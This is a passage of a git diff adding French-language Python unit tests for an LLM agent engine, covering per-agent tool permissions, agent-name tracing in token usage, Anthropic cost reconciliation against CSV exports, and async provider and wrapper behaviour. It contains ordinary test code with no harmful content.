JIT MCP (contexte).""" + registry = _registre_deux_outils() + registry.register_mcp_tool( + "mcp_sqlite_ha_query", lambda: "ok", "Requête SQLite/HA", {"type": "object"} + ) + registry.set_agent_allowed_tools("agent_lecteur", ["read_file", "mcp_sqlite_ha_query"]) + + # L'objectif déclenche le JIT (mot-clé « sqlite ») ; la permission borne + # ensuite l'ensemble exposé — déterministe même si le fichier de règles + # JIT était absent (la permission coupe de toute façon). + noms = _noms_schemas(registry.get_all_schemas("requete sqlite", agent_name="agent_lecteur")) + assert noms == {"read_file", "mcp_sqlite_ha_query"} + + +# ────────────────────────────────────────────────────────────── +# Registre : refus explicite à l'exécution +# ────────────────────────────────────────────────────────────── + +def test_appel_outil_non_autorise_refus_explicite_nommant_agent_et_outil(): + registry = _registre_deux_outils() + registry.set_agent_allowed_tools("agent_lecteur", ["read_file"]) + + res = asyncio.run(registry.execute( + "write_file", {"filepath": "x", "content": "y"}, agent_name="agent_lecteur" + )) + assert "agent_lecteur" in res + assert "write_file" in res + assert "permission" in res.lower() + assert "read_file" in res # le refus rappelle les outils autorisés + + # L'outil autorisé fonctionne toujours + res_ok = asyncio.run(registry.execute("read_file", {"filepath": "x"}, agent_name="agent_lecteur")) + assert "contenu" in res_ok + + +def test_refus_non_retriable_et_sans_consommation_de_quota(): + """Le refus est classé PERMISSION (pas de retry auto) et ne consomme pas de quota.""" + from core.errors import classify_error + + registry = _registre_deux_outils() + registry.set_agent_allowed_tools("agent_lecteur", ["read_file"]) + + res = asyncio.run(registry.execute( + "write_file", {"filepath": "x", "content": "y"}, agent_name="agent_lecteur" + )) + erreur = classify_error(res, source="tool:write_file") + assert erreur.category.value == "permission" + assert not erreur.is_retriable + assert registry._call_counts.get("write_file", 0) == 0 + + +def test_appel_sans_agent_nomme_ignore_les_permissions(): + """Appelants sans identité (API, sandbox) : comportement historique intact.""" + registry = _registre_deux_outils() + registry.set_agent_allowed_tools("agent_lecteur", ["read_file"]) + res = asyncio.run(registry.execute("write_file", {"filepath": "x", "content": "y"})) + assert res == "écrit x" + + +# ────────────────────────────────────────────────────────────── +# Câblage : ExecutorAgent → registre (chemin zéro-LLM) +# ────────────────────────────────────────────────────────────── + +def test_executor_agent_synchronise_ses_permissions_a_l_invoke(): + """Le refus traverse le vrai chemin d'exécution (direct_tool_call, sans LLM).""" + registry = _registre_deux_outils() + agent = ExecutorAgent( + llm_gateway=object(), tool_registry=registry, + provider_name="leger", allowed_tools=["read_file"], + ) + agent.name = "agent_restreint" # renommé après construction, comme en prod + + update = asyncio.run(agent.invoke(TaskPayload( + task_objective="écrire un fichier", + relevant_context="", + metadata={"direct_tool_call": {"name": "write_file", "arguments": {"filepath": "x", "content": "y"}}}, + ))) + assert update.status == "error" + assert "agent_restreint" in (update.error_message or "") + assert "write_file" in (update.error_message or "") + + # Sans restriction, le même agent exécute l'outil + agent.allowed_tools = None + update_ok = asyncio.run(agent.invoke(TaskPayload( + task_objective="écrire un fichier", + relevant_context="", + metadata={"direct_tool_call": {"name": "write_file", "arguments": {"filepath": "x", "content": "y"}}}, + ))) + assert update_ok.status == "success" + + +# ────────────────────────────────────────────────────────────── +# Câblage : config.json (custom_agents) et agents_workflows.json +# ────────────────────────────────────────────────────────────── + +def test_agent_custom_config_json_transmet_allowed_tools(): + """core/custom_agents.py : l'entrée config.json est câblée jusqu'à l'exécution.""" + + class _FakeEngine: + agents = {} + + def register_agent(self, agent): + self.agents[agent.name] = agent + + registry = _registre_deux_outils() + config = { + "custom_agents": [ + {"name": "agent_lecture_seule", "label": "Lecture seule", "tier": "leger", + "allowed_tools": ["read_file"]}, + ] + } + engine = _FakeEngine() + added = register_config_custom_agents(engine, object(), registry, config) + assert added == 1 + + agent = engine.agents["agent_lecture_seule"] + assert agent.allowed_tools == ["read_file"] + # Le prompt ne prétend plus « accès à tous les outils » à un agent restreint + assert "read_file" in agent.system_prompt + assert "tous les outils" not in agent.system_prompt + + # Refus effectif via le chemin d'exécution complet + update = asyncio.run(agent.invoke(TaskPayload( + task_objective="écrire un fichier", + relevant_context="", + metadata={"direct_tool_call": {"name": "write_file", "arguments": {"filepath": "x", "content": "y"}}}, + ))) + assert update.status == "error" + assert "agent_lecture_seule" in (update.error_message or "") + + +def test_build_custom_agent_prompt_reflete_la_restriction(): + assert "tous les outils" in build_custom_agent_prompt("agent_a") + assert "tous les outils" in build_custom_agent_prompt("agent_a", allowed_tools=None) + prompt = build_custom_agent_prompt("agent_a", "Agent A", ["read_file"]) + assert "read_file" in prompt + assert "tous les outils" not in prompt + + +def test_workflow_bridge_normalise_allowed_tools_des_deux_formats(): + """agents_workflows.json : champ lu dans data (React Flow) et en racine (legacy).""" + data = { + "nodes": [ + # Schéma React Flow de l'éditeur ihm-v2 + {"id": "n1", "type": "agent", + "data": {"agent": "agent_wf", "tier": "leger", "allowed_tools": ["read_file"]}}, + # Schéma legacy v1 + {"id": "n2", "type": "agent", "agentName": "agent_wf2", "tier": "moyen", + "allowed_tools": ["read_file", "write_file"]}, + # Sans restriction : absent (doit rester absent/None) + {"id": "n3", "type": "agent", "data": {"agent": "agent_wf3", "tier": "leger"}}, + ], + "edges": [], + } + normalise = _normalize_workflow(data) + par_id = {n["id"]: n for n in normalise["nodes"]} + assert par_id["n1"]["allowed_tools"] == ["read_file"] + assert par_id["n2"]["allowed_tools"] == ["read_file", "write_file"] + assert par_id["n3"]["allowed_tools"] is None + + bridge = WorkflowBridge(workflow_path="/nonexistent/for-tests.json") + bridge._cache = normalise + configs = {c["name"]: c for c in bridge.get_custom_agents_config()} + assert configs["agent_wf"]["allowed_tools"] == ["read_file"] + assert configs["agent_wf2"]["allowed_tools"] == ["read_file", "write_file"] + assert configs["agent_wf3"]["allowed_tools"] is None diff --git a/tests/unit/test_agent_trace.py b/tests/unit/test_agent_trace.py new file mode 100644 index 0000000..3d5bc4c --- /dev/null +++ b/tests/unit/test_agent_trace.py @@ -0,0 +1,165 @@ +""" +tests/unit/test_agent_trace.py — L'agent qui déclenche un appel LLM est tracé (#T296). + +Avant ce correctif, `token_usage.agent_name` était NULL sur 100 % des lignes +(54/54 mesurées le 11/08 sur 24 h) : `record_usage()` n'avait pas le paramètre, +et les providers n'ont de toute façon pas connaissance de l'agent. + +Les tests de bout en bout écrivent dans une base créée par le VRAI schéma +(`runtime_db._init_schema` via `override_db_path`), jamais par un `CREATE TABLE` +écrit à la main : un test qui fabriquerait son propre schéma validerait son +hypothèse de schéma au lieu du schéma réel. +""" +import asyncio +import sqlite3 + +import pytest + +from agents.base_agent import BaseAgent +from core.agent_trace import ( + lire_agent_courant, + poser_agent_courant, + restaurer_agent_courant, +) +from core.state import StateUpdate, TaskPayload + + +class _AgentTemoin(BaseAgent): + """Agent minimal qui rapporte l'agent vu par la ContextVar pendant son invoke.""" + + def __init__(self, name="temoin", enfant=None): + super().__init__(name=name, system_prompt="") + self.enfant = enfant + self.vu_pendant = None + self.vu_apres_enfant = None + + async def invoke(self, payload: TaskPayload) -> StateUpdate: + self.vu_pendant = lire_agent_courant() + if self.enfant is not None: + await self.enfant.invoke(payload) + # Après le retour de l'enfant, le parent doit avoir retrouvé son nom. + self.vu_apres_enfant = lire_agent_courant() + return StateUpdate(agent_name=self.name, status="success", result_data="ok") + + +def _payload(): + return TaskPayload(task_objective="objectif de test") + + +class TestContextVarAgent: + """Le mécanisme de trace lui-même.""" + + def test_hors_agent_la_valeur_est_none(self): + """Un appel LLM hors agent (routeur, script) n'invente pas de nom.""" + assert lire_agent_courant() is None + + def test_pose_et_restauration(self): + jeton = poser_agent_courant("planner") + assert lire_agent_courant() == "planner" + restaurer_agent_courant(jeton) + assert lire_agent_courant() is None + + @pytest.mark.asyncio + async def test_deux_taches_concurrentes_ne_se_melangent_pas(self): + """Le DAG lance chaque nœud dans sa propre Task : les noms ne doivent pas fuiter.""" + vus = {} + + async def _agent(nom): + poser_agent_courant(nom) + await asyncio.sleep(0) # laisse l'autre tâche s'exécuter entre-temps + vus[nom] = lire_agent_courant() + + await asyncio.gather(_agent("executor"), _agent("reviewer")) + + assert vus == {"executor": "executor", "reviewer": "reviewer"} + assert lire_agent_courant() is None, "la tâche mère ne doit pas être polluée" + + +class TestEnveloppeBaseAgent: + """La pose est automatique : aucun agent, aucun appelant n'a à y penser.""" + + @pytest.mark.asyncio + async def test_invoke_pose_le_nom_de_l_agent(self): + agent = _AgentTemoin(name="executor") + await agent.invoke(_payload()) + assert agent.vu_pendant == "executor" + + @pytest.mark.asyncio + async def test_le_contexte_est_rendu_apres_invoke(self): + await _AgentTemoin(name="executor").invoke(_payload()) + assert lire_agent_courant() is None + + @pytest.mark.asyncio + async def test_agent_imbrique_le_parent_retrouve_son_nom(self): + """healing.py et review_loop.py invoquent un agent DEPUIS un agent. + + Sans restauration par jeton, le parent finirait ses propres appels LLM + sous le nom de son enfant — une colonne qui ment coûte plus cher qu'une + colonne vide (#T294). + """ + enfant = _AgentTemoin(name="planner") + parent = _AgentTemoin(name="healer", enfant=enfant) + + await parent.invoke(_payload()) + + assert enfant.vu_pendant == "planner" + assert parent.vu_pendant == "healer" + assert parent.vu_apres_enfant == "healer" + + @pytest.mark.asyncio + async def test_sous_classe_heritant_de_invoke_n_est_pas_enveloppee_deux_fois(self): + class _Derive(_AgentTemoin): + pass # n'override pas invoke : réutilise l'enveloppe du parent + + agent = _Derive(name="derive") + await agent.invoke(_payload()) + assert agent.vu_pendant == "derive" + assert lire_agent_courant() is None + + +class TestEcritureEnBase: + """Bout en bout : le nom arrive réellement dans token_usage.""" + + @pytest.mark.asyncio + async def test_record_usage_renseigne_agent_name(self, tmp_path): + from core import runtime_db + + db = tmp_path / "trace.db" + runtime_db.override_db_path(str(db)) + runtime_db.get_connection().close() # déclenche _init_schema (schéma réel) + + from core.token_tracker import record_usage + + class _AgentQuiConsomme(BaseAgent): + async def invoke(self, payload: TaskPayload) -> StateUpdate: + record_usage("gemma-4-31b", 100, 50, session_id="s_t296") + return StateUpdate(agent_name=self.name, status="success", result_data="ok") + + await _AgentQuiConsomme(name="executor", system_prompt="").invoke(_payload()) + + conn = sqlite3.connect(str(db)) + lignes = conn.execute( + "SELECT model, agent_name, session_id FROM token_usage" + ).fetchall() + conn.close() + + assert lignes == [("gemma-4-31b", "executor", "s_t296")], lignes + + @pytest.mark.asyncio + async def test_hors_agent_agent_name_reste_null(self, tmp_path): + """Un appel du routeur ou d'un script ne doit pas être attribué à un agent.""" + from core import runtime_db + + db = tmp_path / "hors_agent.db" + runtime_db.override_db_path(str(db)) + runtime_db.get_connection().close() + + from core.token_tracker import record_usage + + record_usage("gemma-4-31b", 10, 5, session_id="s_hors_agent") + + conn = sqlite3.connect(str(db)) + (agent_name,) = conn.execute("SELECT agent_name FROM token_usage").fetchone() + conn.close() + + assert agent_name is None diff --git a/tests/unit/test_anthropic_reconciliation.py b/tests/unit/test_anthropic_reconciliation.py new file mode 100644 index 0000000..389b87c --- /dev/null +++ b/tests/unit/test_anthropic_reconciliation.py @@ -0,0 +1,242 @@ +"""Tests de la réconciliation des coûts Anthropic : réel (CSV export console) vs estimé (token_usage). + +#T182 — On vérifie : +1. l'écart calculé est EXACT (valeur précise, pas seulement le type) ; +2. aucun CSV → réponse explicite « no_exports », jamais un zéro trompeur ; +3. un CSV malformé ne fait pas planter l'appel (ligne ignorée + journalisation) ; +4. le câblage de l'endpoint GET /api/billing/anthropic/reconciliation. +""" +import logging +import sqlite3 +from datetime import UTC, datetime + +from fastapi import FastAPI +from fastapi.testclient import TestClient + +from api.routes import billing as billing_routes +from api.services import billing_service +from core import runtime_db + + +def _ecrire_csv(tmp_path, nom: str, contenu: str): + """Écrit un export CSV fabriqué dans un dossier dédié, retourne le dossier.""" + dossier = tmp_path / "exports" + dossier.mkdir(exist_ok=True) + (dossier / nom).write_text(contenu, encoding="utf-8") + return dossier + + +def _inserer_token_usage(db_path, lignes): + """Insère des lignes token_usage fabriquées : (model, jour 'YYYY-MM-DD', cost_usd). + + Le timestamp est posé à 12:00 UTC du jour : l'agrégation BDD par jour UTC + (`date(timestamp, 'unixepoch')`) doit retomber exactement sur ce jour. + """ + runtime_db.override_db_path(str(db_path)) + runtime_db.get_connection().close() # déclenche _init_schema + conn = sqlite3.connect(str(db_path)) + try: + for model, jour, cout in lignes: + ts = datetime(int(jour[:4]), int(jour[5:7]), int(jour[8:10]), 12, 0, tzinfo=UTC).timestamp() + conn.execute( + "INSERT INTO token_usage (timestamp, model, prompt_tokens, completion_tokens, total_tokens, cost_usd) " + "VALUES (?, ?, 100, 50, 150, ?)", + (ts, model, cout), + ) + conn.commit() + finally: + conn.close() + + +def _client() -> TestClient: + """Mini-application FastAPI ne montant que le router billing (pas de dépendance auth ici).""" + app = FastAPI() + app.include_router(billing_routes.router) + return TestClient(app) + + +def test_ecart_exact_entre_csv_reel_et_estime(tmp_path, monkeypatch): + """Avec un CSV fabriqué et des token_usage fabriqués, l'écart par jour et le total sont exacts. + + Jeu choisi avec des montants exacts en binaire (0.25, 0.75, 1.50…) pour + comparer des valeurs, pas des arrondis flottants : + - 2026-08-01 : réel 2.25 (1.50 + 0.75) vs estimé 2.00 (1.25 + 0.75) ; + - 2026-08-02 : réel 3.00 vs estimé 2.50 ; + - 2026-08-03 : réel absent (0) vs estimé 0.50 → écart -0.50, relatif None ; + - deepseek (99.0) hors périmètre Anthropic : exclu de l'estimé. + """ + dossier = _ecrire_csv(tmp_path, "anthropic_usage_20260810_120000.csv", ( + "Date (UTC),Model,Prompt tokens,Completion tokens,Cost (USD)\n" + "2026-08-01,claude-sonnet-4-6,100000,50000,1.50\n" + "2026-08-01,claude-opus-5,25000,10000,0.75\n" + "2026-08-02,claude-haiku-4-5-20251001,300000,200000,3.00\n" + )) + monkeypatch.setattr(billing_service, "_ANTHROPIC_EXPORT_DIR", str(dossier)) + + db = tmp_path / "moteur.db" + _inserer_token_usage(db, [ + ("claude-sonnet-4-6", "2026-08-01", 1.25), + ("claude-opus-5", "2026-08-01", 0.75), + ("claude-haiku-4-5-20251001", "2026-08-02", 2.50), + ("claude-sonnet-4-6", "2026-08-03", 0.50), # jour sans CSV : révélé par l'union + ("deepseek-chat", "2026-08-01", 99.0), # hors périmètre Anthropic : exclu + ]) + + resultat = billing_service.reconcile_anthropic_costs() + + assert resultat["status"] == "ok" + assert resultat["period"] == "day" + + par_jour = {p["date"]: p for p in resultat["periods"]} + assert set(par_jour) == {"2026-08-01", "2026-08-02", "2026-08-03"} + + j1 = par_jour["2026-08-01"] + assert j1["real_cost_usd"] == 2.25 + assert j1["estimated_cost_usd"] == 2.00 + assert j1["abs_diff_usd"] == 0.25 + assert j1["rel_diff_pct"] == 11.11 # 0.25 / 2.25 * 100 + + j2 = par_jour["2026-08-02"] + assert j2["real_cost_usd"] == 3.00 + assert j2["estimated_cost_usd"] == 2.50 + assert j2["abs_diff_usd"] == 0.50 + assert j2["rel_diff_pct"] == 16.67 # 0.50 / 3.00 * 100 + + j3 = par_jour["2026-08-03"] + assert j3["real_cost_usd"] == 0.0 + assert j3["estimated_cost_usd"] == 0.50 + assert j3["abs_diff_usd"] == -0.50 + assert j3["rel_diff_pct"] is None # réel nul, estimé non nul : relatif indéfini + + total = resultat["totals"] + assert total["real_cost_usd"] == 5.25 + assert total["estimated_cost_usd"] == 5.00 + assert total["abs_diff_usd"] == 0.25 + assert total["rel_diff_pct"] == 4.76 # 0.25 / 5.25 * 100 + + assert resultat["db_rows_used"] == 4 # 5 lignes insérées, deepseek exclu + assert resultat["export_files"][0]["rows_parsed"] == 3 + + +def test_aucun_csv_repond_no_exports_sans_chiffre(tmp_path, monkeypatch): + """Dossier d'exports vide : status « no_exports » et AUCUN champ numérique. + + Un montant absent ne doit jamais se lire comme un écart nul : la réponse + ne contient ni « periods », ni « totals », ni valeur d'écart à 0. + """ + dossier = tmp_path / "exports_vide" + dossier.mkdir(exist_ok=True) + monkeypatch.setattr(billing_service, "_ANTHROPIC_EXPORT_DIR", str(dossier)) + + db = tmp_path / "moteur.db" + _inserer_token_usage(db, [("claude-sonnet-4-6", "2026-08-01", 1.25)]) + + resultat = billing_service.reconcile_anthropic_costs() + + assert resultat["status"] == "no_exports" + assert "aucun export" in resultat["message"].lower() + assert "periods" not in resultat + assert "totals" not in resultat + assert "abs_diff_usd" not in resultat + assert "db_rows_used" not in resultat + + +def test_dossier_exports_absent_repond_no_exports(tmp_path, monkeypatch): + """Dossier data/anthropic_usage_exports/ absent (cas réel actuel) : même contrat « no_exports ».""" + dossier = tmp_path / "exports_absents" # jamais créé + monkeypatch.setattr(billing_service, "_ANTHROPIC_EXPORT_DIR", str(dossier)) + + resultat = billing_service.reconcile_anthropic_costs() + + assert resultat["status"] == "no_exports" + assert "aucun export" in resultat["message"].lower() + assert "periods" not in resultat + assert "totals" not in resultat + + +def test_csv_malforme_ignore_les_lignes_et_journalise(tmp_path, monkeypatch, caplog): + """Un CSV malformé ne fait pas planter l'appel : lignes invalides ignorées + warning journalisé.""" + dossier = _ecrire_csv(tmp_path, "anthropic_usage_20260810_120000.csv", ( + "Date (UTC),Model,Prompt tokens,Completion tokens,Cost (USD)\n" + "2026-08-01,claude-sonnet-4-6,100000,50000,1.50\n" + "2026-08-02,claude-opus-5\n" # champs manquants + "2026-13-99,claude-opus-5,0,0,2.00\n" # date invalide + "2026-08-02,claude-opus-5,0,0,abc\n" # coût illisible + "\n" # ligne vide : sans objet + )) + monkeypatch.setattr(billing_service, "_ANTHROPIC_EXPORT_DIR", str(dossier)) + + db = tmp_path / "moteur.db" + _inserer_token_usage(db, [("claude-sonnet-4-6", "2026-08-01", 1.25)]) + + with caplog.at_level(logging.WARNING, logger="api.services.billing_service"): + resultat = billing_service.reconcile_anthropic_costs() + + assert resultat["status"] == "ok" + assert resultat["periods"][0]["date"] == "2026-08-01" + assert resultat["periods"][0]["real_cost_usd"] == 1.50 # seule ligne valide + + detail = resultat["export_files"][0] + assert detail["rows_parsed"] == 1 + assert detail["rows_skipped"] == 3 + assert any("anthropic_usage_20260810_120000.csv" in r.message for r in caplog.records) + assert any("ignor" in r.message for r in caplog.records) + + +def test_fichier_sans_en_tete_reconnu_repond_no_data(tmp_path, monkeypatch): + """Des CSV présents mais 100 % illisibles : status « no_data » explicite, jamais un zéro.""" + dossier = _ecrire_csv(tmp_path, "anthropic_usage_20260810_120000.csv", ( + "Rapport de consommation\n" + "Organisation: Test\n" + "2026-08-01;claude-sonnet-4-6;1.50\n" + )) + monkeypatch.setattr(billing_service, "_ANTHROPIC_EXPORT_DIR", str(dossier)) + + db = tmp_path / "moteur.db" + _inserer_token_usage(db, [("claude-sonnet-4-6", "2026-08-01", 1.25)]) + + resultat = billing_service.reconcile_anthropic_costs() + + assert resultat["status"] == "no_data" + assert "aucun contenu exploitable" in resultat["message"] + assert "periods" not in resultat + assert "totals" not in resultat + + +def test_endpoint_http_aucun_export_repond_no_exports(tmp_path, monkeypatch): + """L'endpoint GET répond « no_exports » sans CSV — jamais un zéro (critère d'acceptation #4).""" + dossier = tmp_path / "exports" + dossier.mkdir(exist_ok=True) + monkeypatch.setattr(billing_service, "_ANTHROPIC_EXPORT_DIR", str(dossier)) + + db = tmp_path / "moteur.db" + _inserer_token_usage(db, [("claude-sonnet-4-6", "2026-08-01", 1.25)]) + + reponse = _client().get("/api/billing/anthropic/reconciliation") + + assert reponse.status_code == 200 + payload = reponse.json() + assert payload["status"] == "no_exports" + assert "aucun export" in payload["message"].lower() + assert "periods" not in payload + assert "totals" not in payload + + +def test_endpoint_http_retourne_les_ecarts(tmp_path, monkeypatch): + """L'endpoint expose bien les écarts réels vs estimés (valeur exacte, pas seulement le type).""" + dossier = _ecrire_csv(tmp_path, "anthropic_usage_20260810_120000.csv", ( + "Date (UTC),Model,Prompt tokens,Completion tokens,Cost (USD)\n" + "2026-08-01,claude-sonnet-4-6,100000,50000,2.25\n" + )) + monkeypatch.setattr(billing_service, "_ANTHROPIC_EXPORT_DIR", str(dossier)) + + db = tmp_path / "moteur.db" + _inserer_token_usage(db, [("claude-sonnet-4-6", "2026-08-01", 2.00)]) + + reponse = _client().get("/api/billing/anthropic/reconciliation") + + assert reponse.status_code == 200 + payload = reponse.json() + assert payload["status"] == "ok" + assert payload["periods"][0]["abs_diff_usd"] == 0.25 + assert payload["totals"]["rel_diff_pct"] == 11.11 diff --git a/tests/unit/test_async_callers_guard.py b/tests/unit/test_async_callers_guard.py index 5aa0907..843b986 100644 --- a/tests/unit/test_async_callers_guard.py +++ b/tests/unit/test_async_callers_guard.py @@ -1,4 +1,3 @@ -# -*- coding: utf-8 -*- """ Garde-fou de régression : tout appel à `Router.analyze_request` doit être `await`-é. diff --git a/tests/unit/test_async_providers.py b/tests/unit/test_async_providers.py index 3c8b9e8..dfe76b1 100644 --- a/tests/unit/test_async_providers.py +++ b/tests/unit/test_async_providers.py @@ -1,11 +1,10 @@ -# -*- coding: utf-8 -*- """Tests de la fondation D5 — chemin async natif des providers (httpx).""" import asyncio from unittest.mock import AsyncMock, MagicMock, patch -from core.openai_compat_provider import OpenAICompatibleProvider, SharedAsyncHTTPPool from core.llm.providers.base import LLMProvider +from core.openai_compat_provider import OpenAICompatibleProvider, SharedAsyncHTTPPool def _provider() -> OpenAICompatibleProvider: @@ -59,6 +58,28 @@ def test_async_pool_singleton(): assert SharedAsyncHTTPPool._client is None +def test_http_pool_se_rearme_apres_close(): + """[#T268] get_session() -> close() -> get_session() doit rendre une session + utilisable : le pool ne doit pas rester définitivement mort après un close().""" + from core.openai_compat_provider import SharedHTTPPool + + SharedHTTPPool.get_session() + SharedHTTPPool.close() + session = SharedHTTPPool.get_session() + assert session is not None + assert hasattr(session, "post") + + +def test_http_pool_singleton(): + """Deux get_session() consécutifs rendent LA MÊME session (keep-alive TLS).""" + from core.openai_compat_provider import SharedHTTPPool + + SharedHTTPPool.close() + s1 = SharedHTTPPool.get_session() + s2 = SharedHTTPPool.get_session() + assert s1 is s2 + + def test_base_generate_async_fallback_runs_sync(): """Le fallback de base exécute generate() (sync) dans un thread.""" @@ -72,3 +93,250 @@ def generate_structured(self, system_prompt, user_prompt, schema, **kwargs): prov = DummyProvider() out = asyncio.run(prov.generate_async("sys", "salut")) assert out == "sync:salut" + + +def test_generate_async_relaye_tool_choice(): + """`tool_choice` (forcer/interdire un outil) était ignoré : seul `tools` + était recopié dans le payload, la contrainte du client se perdait.""" + prov = _provider() + prov._record_usage = MagicMock() + client = _fake_client({"choices": [{"message": {"content": "ok"}}], "usage": {}}) + outils = [{"type": "function", "function": {"name": "f"}}] + with patch.object(SharedAsyncHTTPPool, "get_client", return_value=client): + asyncio.run(prov.generate_async("sys", "user", tools=outils, tool_choice="required")) + + payload = client.post.await_args.kwargs["json"] + assert payload["tools"] == outils + assert payload["tool_choice"] == "required" + + +def test_generate_sync_relaye_tool_choice(): + """Même relais sur le chemin synchrone (celui qu'emprunte le proxy /v1).""" + from core.openai_compat_provider import SharedHTTPPool + + prov = _provider() + prov._record_usage = MagicMock() + session = MagicMock() + resp = MagicMock() + resp.raise_for_status = MagicMock() + resp.json = MagicMock(return_value={"choices": [{"message": {"content": "ok"}}], "usage": {}}) + session.post = MagicMock(return_value=resp) + outils = [{"type": "function", "function": {"name": "f"}}] + with patch.object(SharedHTTPPool, "get_session", return_value=session): + prov.generate("sys", "user", tools=outils, tool_choice={"type": "function", "function": {"name": "f"}}) + + payload = session.post.call_args.kwargs["json"] + assert payload["tools"] == outils + assert payload["tool_choice"]["function"]["name"] == "f" + + +def test_pas_de_tool_choice_sans_valeur(): + """Un `tool_choice=None` ne doit pas apparaître dans le payload.""" + prov = _provider() + prov._record_usage = MagicMock() + client = _fake_client({"choices": [{"message": {"content": "ok"}}], "usage": {}}) + with patch.object(SharedAsyncHTTPPool, "get_client", return_value=client): + asyncio.run(prov.generate_async("sys", "user", tool_choice=None)) + + assert "tool_choice" not in client.post.await_args.kwargs["json"] + + +# ────────────────────────────────────────────────────────────────────── +# ClaudeInstructionsWrapper — le wrapper ne doit pas annuler la fondation D5 +# ────────────────────────────────────────────────────────────────────── + + +class _EspionChemin(LLMProvider): + """Provider factice qui note le chemin emprunté (sync ou async natif).""" + + def __init__(self): + self.chemins: list[str] = [] + self.systemes: list[str] = [] + self.kwargs: list[dict] = [] + + def generate(self, system_prompt, user_prompt, **kwargs): + self.chemins.append("sync") + self.systemes.append(system_prompt) + self.kwargs.append(kwargs) + return "sync" + + def generate_structured(self, system_prompt, user_prompt, schema, **kwargs): + self.chemins.append("sync_structured") + self.systemes.append(system_prompt) + self.kwargs.append(kwargs) + return {} + + async def generate_async(self, system_prompt, user_prompt, **kwargs): + self.chemins.append("async_natif") + self.systemes.append(system_prompt) + self.kwargs.append(kwargs) + return "async" + + async def generate_structured_async(self, system_prompt, user_prompt, schema, **kwargs): + self.chemins.append("async_natif_structured") + self.systemes.append(system_prompt) + self.kwargs.append(kwargs) + return {"ok": True} + + +def _wrapper_avec_instructions(espion, instructions="\n\n=== CONVENTIONS ==="): + """Wrapper dont l'injection est figée (indépendante de la présence de CLAUDE.md).""" + import time as _time + + from core.llm.providers.deepseek import ClaudeInstructionsWrapper + + wrap = ClaudeInstructionsWrapper(espion) + wrap._cached_instructions = instructions + wrap._last_loaded = _time.time() + return wrap + + +def test_wrapper_emprunte_le_chemin_async_natif(): + """Régression : le wrapper n'implémentait aucune méthode async, il héritait + donc du fallback `to_thread(self.generate)` de LLMProvider — et comme + LLMGateway._get_raw_provider() enveloppe TOUS les providers, le chemin + httpx natif de D5 n'était jamais emprunté par le moteur.""" + espion = _EspionChemin() + out = asyncio.run(_wrapper_avec_instructions(espion).generate_async("sys", "user")) + + assert espion.chemins == ["async_natif"], ( + f"chemin sync emprunté malgré un provider async natif : {espion.chemins}" + ) + assert out == "async" + + +def test_wrapper_structured_emprunte_le_chemin_async_natif(): + espion = _EspionChemin() + out = asyncio.run( + _wrapper_avec_instructions(espion).generate_structured_async("sys", "user", {}) + ) + + assert espion.chemins == ["async_natif_structured"] + assert out == {"ok": True} + + +def test_wrapper_async_conserve_injection_claude_md(): + """Sync et async doivent enrichir le prompt système à l'identique — sinon + un agent de code recevrait les conventions sur un chemin et pas sur l'autre.""" + espion = _EspionChemin() + wrap = _wrapper_avec_instructions(espion) + + wrap.generate("sys", "user", conventions_projet=True) + asyncio.run(wrap.generate_async("sys", "user", conventions_projet=True)) + + assert espion.systemes[0] == espion.systemes[1] == "sys\n\n=== CONVENTIONS ===" + + +# ────────────────────────────────────────────────────────────────────── +# [T287] Les conventions CLAUDE.md ne partent QUE sur demande +# ────────────────────────────────────────────────────────────────────── + + +def test_aucune_injection_par_defaut(): + """Le contrat s'inverse : l'injection était inconditionnelle sur TOUS les + appels de TOUS les providers (+5056 caractères mesurés, ~1264 tokens), y + compris le chat, le vocal et le routage. Elle est désormais sur demande.""" + espion = _EspionChemin() + asyncio.run(_wrapper_avec_instructions(espion).generate_async("sys", "user")) + + assert espion.systemes == ["sys"], ( + f"conventions injectées sans que l'appelant les demande : {espion.systemes}" + ) + + +def test_le_drapeau_ne_descend_jamais_dans_le_provider(): + """`conventions_projet` est un drapeau interne au moteur : s'il atteignait un + provider, il partirait dans le payload HTTP et pourrait être rejeté.""" + espion = _EspionChemin() + asyncio.run( + _wrapper_avec_instructions(espion).generate_async( + "sys", "user", conventions_projet=True + ) + ) + + assert "conventions_projet" not in espion.kwargs[0] + + +def test_injection_atteint_le_message_systeme_de_messages(): + """Le point qui rendait l'injection inutile pour les agents de code : les + providers OpenAI-compatibles IGNORENT `system_prompt` quand `messages=` est + fourni (cas de la boucle ReAct de l'Executor). Mesuré avant correctif : + 5067 caractères de prompt système sur un appel simple, 12 sur un `messages=`.""" + espion = _EspionChemin() + messages = [ + {"role": "system", "content": "SYS-EXECUTOR"}, + {"role": "user", "content": "écris le fichier"}, + ] + asyncio.run( + _wrapper_avec_instructions(espion).generate_async( + "sys", "user", messages=messages, conventions_projet=True + ) + ) + + envoyes = espion.kwargs[0]["messages"] + assert envoyes[0]["content"] == "SYS-EXECUTOR\n\n=== CONVENTIONS ===" + assert envoyes[1] == {"role": "user", "content": "écris le fichier"} + + +def test_la_liste_de_messages_de_lappelant_nest_pas_modifiee(): + """LE piège : la boucle ReAct réutilise sa liste d'un tour à l'autre. Une + modification en place empilerait les conventions à chaque itération jusqu'à + saturer la fenêtre de contexte.""" + espion = _EspionChemin() + wrap = _wrapper_avec_instructions(espion) + messages = [ + {"role": "system", "content": "SYS"}, + {"role": "user", "content": "u"}, + ] + + for _ in range(3): # trois tours ReAct sur la MÊME liste + asyncio.run(wrap.generate_async("sys", "user", messages=messages, conventions_projet=True)) + + assert messages[0]["content"] == "SYS", "la liste de l'appelant a été mutée" + for envoi in espion.kwargs: + assert envoi["messages"][0]["content"] == "SYS\n\n=== CONVENTIONS ===" + + +def test_messages_sans_role_system_recoit_un_message_systeme(): + espion = _EspionChemin() + asyncio.run( + _wrapper_avec_instructions(espion).generate_async( + "sys", "user", messages=[{"role": "user", "content": "u"}], conventions_projet=True + ) + ) + + envoyes = espion.kwargs[0]["messages"] + assert envoyes[0]["role"] == "system" + assert envoyes[0]["content"] == "=== CONVENTIONS ===" + assert envoyes[1]["role"] == "user" + + +def test_sans_claude_md_le_drapeau_ne_casse_rien(): + """Un dépôt sans CLAUDE.md (cas du CI) : demander les conventions doit être + un no-op, pas une erreur.""" + espion = _EspionChemin() + wrap = _wrapper_avec_instructions(espion, instructions="") + out = asyncio.run(wrap.generate_async("sys", "user", conventions_projet=True)) + + assert out == "async" + assert espion.systemes == ["sys"] + assert "conventions_projet" not in espion.kwargs[0] + + +def test_wrapper_async_supporte_un_provider_sans_async_natif(): + """Un provider qui n'implémente que le synchrone 